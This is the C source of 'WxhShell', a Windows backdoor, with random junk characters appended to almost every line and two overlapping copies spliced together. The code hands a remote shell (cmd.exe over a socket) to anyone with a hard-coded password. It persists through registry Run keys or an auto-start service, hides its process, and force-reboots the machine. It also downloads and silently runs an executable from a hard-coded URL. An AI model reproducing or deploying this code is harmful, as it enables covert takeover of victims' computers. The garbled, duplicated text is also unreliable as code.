    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Q ~eh_>"  
    if(Boot(SHUTDOWN)) R,l*@3Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DnCIfda2g  
    else { wEl/s P  
    closesocket(wsh); k5X-*^U=V}  
    ExitThread(0); _Q*,~ z~  
    } F_iZ|B  
    break; !H zJ*  
    } ~kI$8oAry  
  // 获取shell `{ \)Wuw  
  case 's': { d263#R  
    CmdShell(wsh); P(p|NRD@1  
    closesocket(wsh); Rz<'& Z>;  
    ExitThread(0); qjN*oM,  
    break; m*14n_m'  
  } b~!Q3o'W  
  // 退出 |4Os_*tRKU  
  case 'x': { ^aqBL  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Xz'o<S  
    CloseIt(wsh); 5QG?*Z~?7  
    break; A ? [Wfq|  
    } C)&BtiUN/  
  // 离开 L}t P_ *  
  case 'q': { p%+'iDb  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); N1JM[<PP  
    closesocket(wsh); B*}:YV  
    WSACleanup(); V+$fh2t  
    exit(1); >UXNR`?  
    break; 4@9xq<<5  
        } D0X!j,Kc  
  } V?n=yg  
  } "8\2w]"  
+6(\7?  
  // 提示信息 w u0q.]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O0sLcuT$  
} Z)<lPg!YAR  
  } lB   
(JT 273  
  return; Am"&ApK  
} ,Y7QmbX^  
)< p ~  
// shell模块句柄 SnY{|  
int CmdShell(SOCKET sock) se29IhS!e  
{ 5I/lFoy7  
STARTUPINFO si; /1b7f'  
ZeroMemory(&si,sizeof(si)); {n(/ c33  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1/J6<FVq  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,hE989x<iI  
PROCESS_INFORMATION ProcessInfo; eaDG7+iS  
char cmdline[]="cmd"; {=ATRwUL  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *rA]q' jM  
  return 0; # GzowI'  
} $#E!/vVwD7  
JgBC:t^\pV  
// 自身启动模式 +9B .}t#  
int StartFromService(void) -0P9|;h5  
{ N t\ZM  
typedef struct WF<3 7"A@  
{ ZWQ/BgKB  
  DWORD ExitStatus; @I#uv|=N  
  DWORD PebBaseAddress; #Sg"/Cc  
  DWORD AffinityMask; \85~~v@  
  DWORD BasePriority; ]AX3ov6z9;  
  ULONG UniqueProcessId; 5t-, 5  
  ULONG InheritedFromUniqueProcessId; pk0{*Z?@  
}   PROCESS_BASIC_INFORMATION; eg24.W9c  
ygQe'S{!S\  
PROCNTQSIP NtQueryInformationProcess; <6X*k{  
Rx?ze(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; wOsg,p;\'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; me-uPm  
Os KtxtLO  
  HANDLE             hProcess; 3cF8DNh  
  PROCESS_BASIC_INFORMATION pbi; >T-4!ZvS\j  
YLuf2ja}X  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); n}c~+ 0`un  
  if(NULL == hInst ) return 0; uF<?y0t  
zE~Xx p  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); x_r*<?OZ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); '.&Y)A6!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !s:e  
-gUp/ #l1  
  if (!NtQueryInformationProcess) return 0; h J0U-m  
c3r`T{Kf  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); b`@J"E}  
  if(!hProcess) return 0;  :>U+HQll  
bkS"]q)>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Kxg@(Q  
uqLP$At  
  CloseHandle(hProcess); fH$#vRcq  
MdmN7>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]Y!x7  
if(hProcess==NULL) return 0; ESYF4-d+  
<'N:K@Cs  
HMODULE hMod; Q<gUu^rq  
char procName[255]; 'C]Y h."u  
unsigned long cbNeeded; e .~11bx  
YV!hlYOBi  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9bspf {  
Eku  9u  
  CloseHandle(hProcess); aYDo0?kF'  
?^W1WEBm  
if(strstr(procName,"services")) return 1; // 以服务启动 1GqSY|FSGp  
MX8|;t  
  return 0; // 注册表启动 i;-M8Q^  
} gu+zfvkcY  
{_/o' 6  
// 主模块 -J8Hsqf@  
int StartWxhshell(LPSTR lpCmdLine) /R&h#;l  
{ 7eju%d  
  SOCKET wsl; E2d'P  
BOOL val=TRUE; uYWD.]X;[  
  int port=0; QXN_ ?E,g/  
  struct sockaddr_in door; 9@yF7  
J=k=cFUX  
  if(wscfg.ws_autoins) Install(); 9)NKI02M|  
-z0;4O (K]  
port=atoi(lpCmdLine); 23WrJM!2N  
w"wW0uE^  
if(port<=0) port=wscfg.ws_port; ir/uHN@  
X;N?L%Pp  
  WSADATA data; kDMvTVd  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; cw{TS  
6#!CBY^{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   FK593z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); | @$I<  
  door.sin_family = AF_INET; 9$HBKcO  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Dws) 4hH  
  door.sin_port = htons(port); (u} /( Ux  
eNK[P=-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { o3/o2[s  
closesocket(wsl); W>C?a=r~  
return 1; ,1#? 0q  
} 9`*Eeb>  
Z17b=x Jw  
  if(listen(wsl,2) == INVALID_SOCKET) { 8c+V$rH_  
closesocket(wsl); +tT"  
return 1; b4i=%]v8  
} 7I XWv-  
  Wxhshell(wsl); $Gv@lZ@=  
  WSACleanup(); j<*7p:L7_>  
YHQ]]#'  
return 0; {pIh/0  
<1l%|   
} in<.0v9w  
,3Q~X$f  
// 以NT服务方式启动  pE)NSZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) qBX_v5pvVA  
{ t4_yp_  
DWORD   status = 0; <VKJ+  
  DWORD   specificError = 0xfffffff; Sk cK>i.[  
e^>>" tr  
  serviceStatus.dwServiceType     = SERVICE_WIN32; j'z#V_S  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; WJh TU@'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <v|"eq}  
  serviceStatus.dwWin32ExitCode     = 0; &/]en|f"  
  serviceStatus.dwServiceSpecificExitCode = 0; >] 'oN  
  serviceStatus.dwCheckPoint       = 0; 7qB4_  
  serviceStatus.dwWaitHint       = 0; k8+J7(_c  
I]v2-rB&-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9f( X7kt  
  if (hServiceStatusHandle==0) return; C!*!n^qA  
Q^Cm3|ZO  
status = GetLastError(); >0{}tRm-P&  
  if (status!=NO_ERROR) Q:(mK* _  
{ B-rE8 \  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; q>2bkcGY#  
    serviceStatus.dwCheckPoint       = 0; P[ :_"4U  
    serviceStatus.dwWaitHint       = 0; &L+uu',M0c  
    serviceStatus.dwWin32ExitCode     = status; t^~vi'bB  
    serviceStatus.dwServiceSpecificExitCode = specificError; PR.3EL  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); z!"vez  
    return; u;_h%z5K  
  } #{q.s[g*+1  
RhE~-b[X  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (SBhU:^h  
  serviceStatus.dwCheckPoint       = 0;  LgNIb  
  serviceStatus.dwWaitHint       = 0; {JgY-#R?{(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); t>\sP   
} UucI>E3?P{  
xQu|D>kv87  
// 处理NT服务事件,比如:启动、停止 Gaix6@X6'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1D*=ZkA)  
{ XDemdMy$  
switch(fdwControl) %qoS(iO`h  
{ pmNy=ZXx  
case SERVICE_CONTROL_STOP: 4nsJZo#S/  
  serviceStatus.dwWin32ExitCode = 0; X2|~(*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; FDz`U:8  
  serviceStatus.dwCheckPoint   = 0; pZnp!!G  
  serviceStatus.dwWaitHint     = 0; 8q[; 0  
  { Jl/wP   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8<6H2~5<  
  } j7~FR{: j  
  return; FH~:&;  
case SERVICE_CONTROL_PAUSE: h[mT4 e3c  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; v-{g  
  break; >pv.,cj  
case SERVICE_CONTROL_CONTINUE: vF27+/2+R  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6zi>Q?] 1  
  break; M R#*/Iw~  
case SERVICE_CONTROL_INTERROGATE: &W2*'$j"_  
  break; Oidf\%!mvR  
}; 4ijtx)SA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); oW3"J6,S  
} Y sM*d  
@Vm*b@  
// 标准应用程序主函数 %O"8|ZG9{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]@{Lx>Oh"  
{ [4z,hob  
2*: q$c  
// 获取操作系统版本 >P/36'  
OsIsNt=GetOsVer(); z#*.9/y\^R  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :X0L6y)u  
/I%z7f91O  
  // 从命令行安装 * ,hhX psa  
  if(strpbrk(lpCmdLine,"iI")) Install(); aFnel8  
3!CUJs/W  
  // 下载执行文件 2Rk}ovtD[  
if(wscfg.ws_downexe) { s4|\cY`b-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~YYnn7)  
  WinExec(wscfg.ws_filenam,SW_HIDE); MEDh  
} }Hg G<.H>  
q/i2o[f'n  
if(!OsIsNt) { 5hrI#fpOR  
// 如果时win9x,隐藏进程并且设置为注册表启动 6nx\|F  
HideProc(); Tgdy;?  
StartWxhshell(lpCmdLine); hOj{y2sc  
} @oXGa>Ru  
else P?0X az  
  if(StartFromService()) qN!oN*  
  // 以服务方式启动 GY~$<^AK  
  StartServiceCtrlDispatcher(DispatchTable); 98[uRywI  
else /5@YZ?|#2  
  // 普通方式启动 uFkl^2  
  StartWxhshell(lpCmdLine); UC!mp?   
$RD~,<oEm  
return 0;  384n1?  
} t>j_C{X1(  
f{sT*_at  
F y+NJSG  
Xaq;d'  
=========================================== 1 .3#PdMR,  
VvhfD2*T  
eM7@!CdA9q  
=2R4Z8G  
Rh=" <'d  
y=3 dGOFB  
" w~3X m{  
=ZgueUz,  
#include <stdio.h> +f3Rzx]  
#include <string.h> "zEl2Xn28_  
#include <windows.h> 5!c/J:z  
#include <winsock2.h> A7p4M?09  
#include <winsvc.h> WgNA%.|,  
#include <urlmon.h> %>|FJ  
3smkY  
#pragma comment (lib, "Ws2_32.lib") o_:v?Y>0  
#pragma comment (lib, "urlmon.lib") #CS>_qe.{  
;n&95t1$  
#define MAX_USER   100 // 最大客户端连接数 \/ bd  
#define BUF_SOCK   200 // sock buffer `PWKA;W$0  
#define KEY_BUFF   255 // 输入 buffer &Vlno*  
qt8Y3:=8l  
#define REBOOT     0   // 重启 j7I=2xnTWu  
#define SHUTDOWN   1   // 关机 (Y1*Bs[l  
Q):#6|u+  
#define DEF_PORT   5000 // 监听端口 6N/(cUXJ  
~k*]Z8Z  
#define REG_LEN     16   // 注册表键长度 oo'9ZE/%  
#define SVC_LEN     80   // NT服务名长度 }x'*3zI  
Jqoo&T")  
// 从dll定义API ^y5A\nz&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); JPI%{@Qc^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); V)$!WPL@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &V38)83a  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6H#: rM  
iI GK "}  
// wxhshell配置信息 N/ a4Gl(  
struct WSCFG { Xaz "!  
  int ws_port;         // 监听端口 XYcZ;Z9:  
  char ws_passstr[REG_LEN]; // 口令 )*KMU?  
  int ws_autoins;       // 安装标记, 1=yes 0=no >8Oa(9n  
  char ws_regname[REG_LEN]; // 注册表键名 e!u]l  
  char ws_svcname[REG_LEN]; // 服务名 (4H\ho8+mp  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ]\yIHdcDi  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Tm %5:/<8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9o@3$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no J( 1Tl  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" J 6 ~Sr  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .6y+van  
jz!I +  
}; dL42)HP5  
1_Yx]%g<  
// default Wxhshell configuration %" iX3  
struct WSCFG wscfg={DEF_PORT, yP"2.9\erH  
    "xuhuanlingzhe", f2g tz{r  
    1, Bii'^^I;?  
    "Wxhshell", 86#l$QaK{  
    "Wxhshell", TQR5V\{&%  
            "WxhShell Service", yP58H{hQM8  
    "Wrsky Windows CmdShell Service", 0cm34\*  
    "Please Input Your Password: ", \M`qaFan5^  
  1, BJ UG<k  
  "http://www.wrsky.com/wxhshell.exe", &8IBf8  
  "Wxhshell.exe" .s{ "NqRA  
    }; 45~x #Q  
L;V 8c  
// 消息定义模块 !5,C"r  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; IO)Y0J>x  
char *msg_ws_prompt="\n\r? for help\n\r#>"; a_N7X  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }geb959  
char *msg_ws_ext="\n\rExit."; :8b'HhjM  
char *msg_ws_end="\n\rQuit."; J3yK^@&&  
char *msg_ws_boot="\n\rReboot..."; lY,^  
char *msg_ws_poff="\n\rShutdown..."; 66val"^W  
char *msg_ws_down="\n\rSave to "; D07M!U  
7|}4UXr7y  
char *msg_ws_err="\n\rErr!"; /,G `V  
char *msg_ws_ok="\n\rOK!"; %a/3*vz/I%  
` GF w?G  
char ExeFile[MAX_PATH]; <8WFaP3,  
int nUser = 0; 7uR;S:WX  
HANDLE handles[MAX_USER]; \HGf!zZ  
int OsIsNt; ' i+L  
ox-m)z `7  
SERVICE_STATUS       serviceStatus; |k.'w<6mb9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; OnTe_JML  
g Wtc3  
// 函数声明 Z6I|Y5#H  
int Install(void); Sa g)}6+  
int Uninstall(void); 2cCiHEL#  
int DownloadFile(char *sURL, SOCKET wsh); >oW]3)$4S  
int Boot(int flag); y% bIO6u:  
void HideProc(void); `7/(sX.  
int GetOsVer(void); }`qAb/Ov  
int Wxhshell(SOCKET wsl); 8lusKww  
void TalkWithClient(void *cs); P&0eu  
int CmdShell(SOCKET sock); wI@87&  
int StartFromService(void); P j   
int StartWxhshell(LPSTR lpCmdLine); "3RFy i  
3;>ls~4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); nCYkUDnZ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); R XCn;nM4  
A.>mk598  
// 数据结构和表定义 SwOW%o  
SERVICE_TABLE_ENTRY DispatchTable[] = ? i _ACKpw  
{ GD4S/fn3  
{wscfg.ws_svcname, NTServiceMain}, 9xR5Jm>k  
{NULL, NULL} Q ^b&   
}; 6?a`'&  
A-!e$yz>  
// 自我安装 sh :$J[  
int Install(void) NWf=mrS8@$  
{ p@jw)xI  
  char svExeFile[MAX_PATH]; >V6t L;+  
  HKEY key; a0|hLqI  
  strcpy(svExeFile,ExeFile); KQr+VQdq>  
0:V /z3?  
// 如果是win9x系统,修改注册表设为自启动 n\+ c3  
if(!OsIsNt) { p!pf2}6Fd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #*g=F4>t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *qzdt^[ xo  
  RegCloseKey(key); 'D21A8*N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L$5,RUy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G'JHimP2j  
  RegCloseKey(key); lEk@I"  
  return 0; e?W ,D0h  
    } w~@"r#-  
  } h ;*x1BVE  
} >eTbg"\  
else { I Cc{2l  
x0# Bc7y  
// 如果是NT以上系统,安装为系统服务 QoYEWXT|g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 70qEqNoC  
if (schSCManager!=0) Y D<3#Dr]  
{ VlV X  
  SC_HANDLE schService = CreateService c5^HGIe1  
  ( 7eCj p  
  schSCManager, }PI:O%N;  
  wscfg.ws_svcname, ZVXPp -M  
  wscfg.ws_svcdisp, _*AI1/>`  
  SERVICE_ALL_ACCESS, <D |&)/#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &GLDoLk6[  
  SERVICE_AUTO_START, e* [wF}))  
  SERVICE_ERROR_NORMAL, ZXx1S?u  
  svExeFile, YYT;a$GTo  
  NULL, =f~<*wQ  
  NULL, &. =8Q?  
  NULL, RL}?.'!  
  NULL, h~#iGs  
  NULL { { \oC$  
  ); FxlH;'+Q  
  if (schService!=0) ZS.=GjK  
  { RsDSsux  
  CloseServiceHandle(schService); 1WtE] D  
  CloseServiceHandle(schSCManager); ^Q#_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7{<v$g$  
  strcat(svExeFile,wscfg.ws_svcname); $2uC%er"H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Fn5BWV  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); jj`#;Y  
  RegCloseKey(key); @@H/q  
  return 0; ovp/DM  
    } ~R;/u")@e  
  } |Y Lja87  
  CloseServiceHandle(schSCManager); ;y(;7n_ a  
} 8oE`>Y  
} 6'r;6T *  
qIJc\,'  
return 1; o%'1=d3R1Q  
} &-*l{"7p+%  
>T;!Z5L1  
// 自我卸载 K3mP6Z#2  
int Uninstall(void) N7s0Ua'-v  
{ L ,R}l0kc  
  HKEY key; u0#KBXRo  
W_@ b. 1  
if(!OsIsNt) { p l^;'|=M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T8m]f<  
  RegDeleteValue(key,wscfg.ws_regname); _jX,1+M  
  RegCloseKey(key); VKPEoy8H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %ap]\o$^4  
  RegDeleteValue(key,wscfg.ws_regname); Osz=OO{  
  RegCloseKey(key); >8/Otg+h  
  return 0; lq.:/_m0  
  } 3!9JXq%Hl  
} 3m& r?xZs  
} |"K%Tvxe  
else { ~j[?3E4L}  
N/F_,>E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); sq=EL+=j  
if (schSCManager!=0) "iEnsP@'Wg  
{ <%.%q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); E"*E[>  
  if (schService!=0) %( OP  [  
  { q+[ )i6!?  
  if(DeleteService(schService)!=0) { "<|KR{/+  
  CloseServiceHandle(schService); gH7  +#/  
  CloseServiceHandle(schSCManager); [G brKq(  
  return 0; =( ZOn=IL  
  } & PXT$x[i  
  CloseServiceHandle(schService); oC" [rn  
  } wxB HlgK4z  
  CloseServiceHandle(schSCManager); PW@ :fM:q  
} &M5v EPR  
} Oa:C'M b  
)-X8RRw'  
return 1; e,#w* |  
} )7Hx <?P  
kj2qX9 Ms  
// 从指定url下载文件 ,>#\aO1n  
int DownloadFile(char *sURL, SOCKET wsh) { (.@bT@  
{ 2wO8;wiA  
  HRESULT hr; kT   
char seps[]= "/"; \roJf&O }  
char *token; b,:^\HKC  
char *file; /*gs]  
char myURL[MAX_PATH]; 8Mtd}{Fw*  
char myFILE[MAX_PATH]; mK TF@DED  
w!*ZS~v/r  
strcpy(myURL,sURL); EyR/   
  token=strtok(myURL,seps); D|U bh]  
  while(token!=NULL) tWl' )^  
  { FLJ&ZU=s  
    file=token; nv0D4 t  
  token=strtok(NULL,seps); J|jvqt9C  
  } 5G6 Pp7[  
0-OKbw5%=b  
GetCurrentDirectory(MAX_PATH,myFILE); ({Yfsf,  
strcat(myFILE, "\\"); uN?Lz1W\;  
strcat(myFILE, file); noaR3)  
  send(wsh,myFILE,strlen(myFILE),0); @Wd (>*"zw  
send(wsh,"...",3,0); 'N6oXE  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); wGMoh.GTh  
  if(hr==S_OK) 8T.bT6  
return 0; ":e6s co  
else 'H`:c+KDG`  
return 1; q%bFR[p<*  
U*N{H$ACuR  
} r]}6iF.  
x]Nx,tt  
// 系统电源模块 [< 9%IGH  
int Boot(int flag) b!MN QGs  
{ KBi(Ns#+  
  HANDLE hToken;  0zr%8Q(Q  
  TOKEN_PRIVILEGES tkp; k 5% )  
VJA/d2Oys  
  if(OsIsNt) { {c I~Nf?i  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); kDJqT  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 'G[G;?F  
    tkp.PrivilegeCount = 1; a{^ 2c!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; DdISJWc'`5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); b'FTy i  
if(flag==REBOOT) { 2xi; 13?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ( !m6>m2  
  return 0; r1.zURY  
} {]|<|vc;GI  
else { *E>R1bJ8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) P1L+Vnfu  
  return 0; 1W.oRD&8j/  
} pi70^`@'B  
  } K)1Lg? j  
  else { F;/^5T3wI  
if(flag==REBOOT) { n<)A5UB5-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1DU l<&4  
  return 0; rT-.'aQ2t  
} A3HN Mz  
else { ETX>wZ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) s LDEa  
  return 0; Gys-Im6>~@  
} 9!r0uU"  
} ME)='~E  
`CL\-  
return 1; SMd[*9l [  
} B4zuWCE@  
B1I{@\z0G  
// win9x进程隐藏模块 ;K4=fHl  
void HideProc(void) +|<bb8%  
{ 4QPHT#eqX  
'%+LQ"Bp  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); x~IrqdmW  
  if ( hKernel != NULL ) &{#6Z  
  { lR F5/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); B"88 .U}$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ",5=LW&,  
    FreeLibrary(hKernel); VD!PF'  
  } Q?>*h xzoP  
"9~KVILlLu  
return; -IDhK}C&T  
} vUL@i'0&o  
64y9.PY  
// 获取操作系统版本 p Zxx  
int GetOsVer(void) "*c&[ALw  
{ !6#.%"{-  
  OSVERSIONINFO winfo; gH"a MEC  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |<1A<fU8a  
  GetVersionEx(&winfo); /7a3*a  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6%o@!|=I  
  return 1; 3+ C;zDKa  
  else KZ=5"a  
  return 0; 5yW}#W>  
} 6aAN8wO;b  
8[ ZuVJ]  
// 客户端句柄模块 V6Of(;r  
int Wxhshell(SOCKET wsl) od!s5f!  
{ Xz/aytp~A  
  SOCKET wsh; a@ ? Bv  
  struct sockaddr_in client; |\C.il7  
  DWORD myID; R&'Mze fb  
Tjj27+y*\  
  while(nUser<MAX_USER) ,oEAWNbgQ  
{ O "Aeg|  
  int nSize=sizeof(client); .Rb4zLYL*w  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0'zjPE#  
  if(wsh==INVALID_SOCKET) return 1; !l9 #a{#6l  
JmBMc }54  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -H 5-6w$  
if(handles[nUser]==0) <rU+{&FKNL  
  closesocket(wsh); F=UW[zy/[  
else lZ,$lZg9Z  
  nUser++; %P *b&H^0  
  } !_&;#j](  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); TP`"x}ACa?  
I wu^@  
  return 0; k$,y1hH;f8  
} 1u* (=!  
E/d\ebX|  
// 关闭 socket Lf Y[Z4  
void CloseIt(SOCKET wsh) %VrMlG4hx  
{ )9!J $q  
closesocket(wsh); JgldC[|7  
nUser--; ,nw5 M.D_  
ExitThread(0); `_{,4oi  
} woU3WS0  
fa/p  
// 客户端请求句柄 1n $  
void TalkWithClient(void *cs) +C4NhA2  
{ r+MqjdXG  
t\ 9Y)d  
  SOCKET wsh=(SOCKET)cs; ZB,UQ~!Yr  
  char pwd[SVC_LEN]; 3TKl  
  char cmd[KEY_BUFF]; (`f)Tt=`  
char chr[1]; R1:7]z0B  
int i,j; ?zK>[L  
*jy"g64j  
  while (nUser < MAX_USER) { rT{ 2  
VmTgD96  
if(wscfg.ws_passstr) { 5=.mg6:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pf_`{2.\uO  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z|N*Gs>,  
  //ZeroMemory(pwd,KEY_BUFF); =ZARJ40L  
      i=0; < 'r<MA<  
  while(i<SVC_LEN) { liH1r1M  
WQY\R!+  
  // 设置超时 p,2H8I){  
  fd_set FdRead; Ozc9yy!%  
  struct timeval TimeOut; )B Xl|V,  
  FD_ZERO(&FdRead); zS}!87r)  
  FD_SET(wsh,&FdRead); ~#JX 0J=  
  TimeOut.tv_sec=8; UeSPwY  
  TimeOut.tv_usec=0; 7FP @ vng  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); R #m1Aa  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Hd~fSXFl  
NJ!}(=1|K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _dn*H-5hO  
  pwd=chr[0]; !%G;t$U=M  
  if(chr[0]==0xd || chr[0]==0xa) { `>{S?t<  
  pwd=0; g);.".@"  
  break; BlfW~l'mx  
  } O>arCr=H  
  i++; :j% B(@b  
    } 4{ exv  
8BM[c;-{g`  
  // 如果是非法用户,关闭 socket qnU$Pd  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2rX}A3%9^^  
} [[8h*[:  
|>=\ VX17  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); H?dEgubg7]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  1O@ cev;  
`k'Dm:*`u4  
while(1) { A-qpuI;f  
iMs(Ywak]  
  ZeroMemory(cmd,KEY_BUFF); &Zm1(k6&K  
uWerC?da  
      // 自动支持客户端 telnet标准   Z`bo1,6>  
  j=0; |#(g 8ua7  
  while(j<KEY_BUFF) { \E2S/1p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H6-{(: *<  
  cmd[j]=chr[0]; kpO+  
  if(chr[0]==0xa || chr[0]==0xd) { VufG7%S{  
  cmd[j]=0; :Nw7!fd  
  break; ]7_O#MY1  
  } .2STBh.;  
  j++; jh.e&6  
    } 2/FH9T;e".  
?anKSGfj  
  // 下载文件 jT q@@y  
  if(strstr(cmd,"http://")) { Nx4X1j?-n  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7!E7XP6,~>  
  if(DownloadFile(cmd,wsh)) 9mH+Ol#(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |oJ R+  
  else jp QmKX  
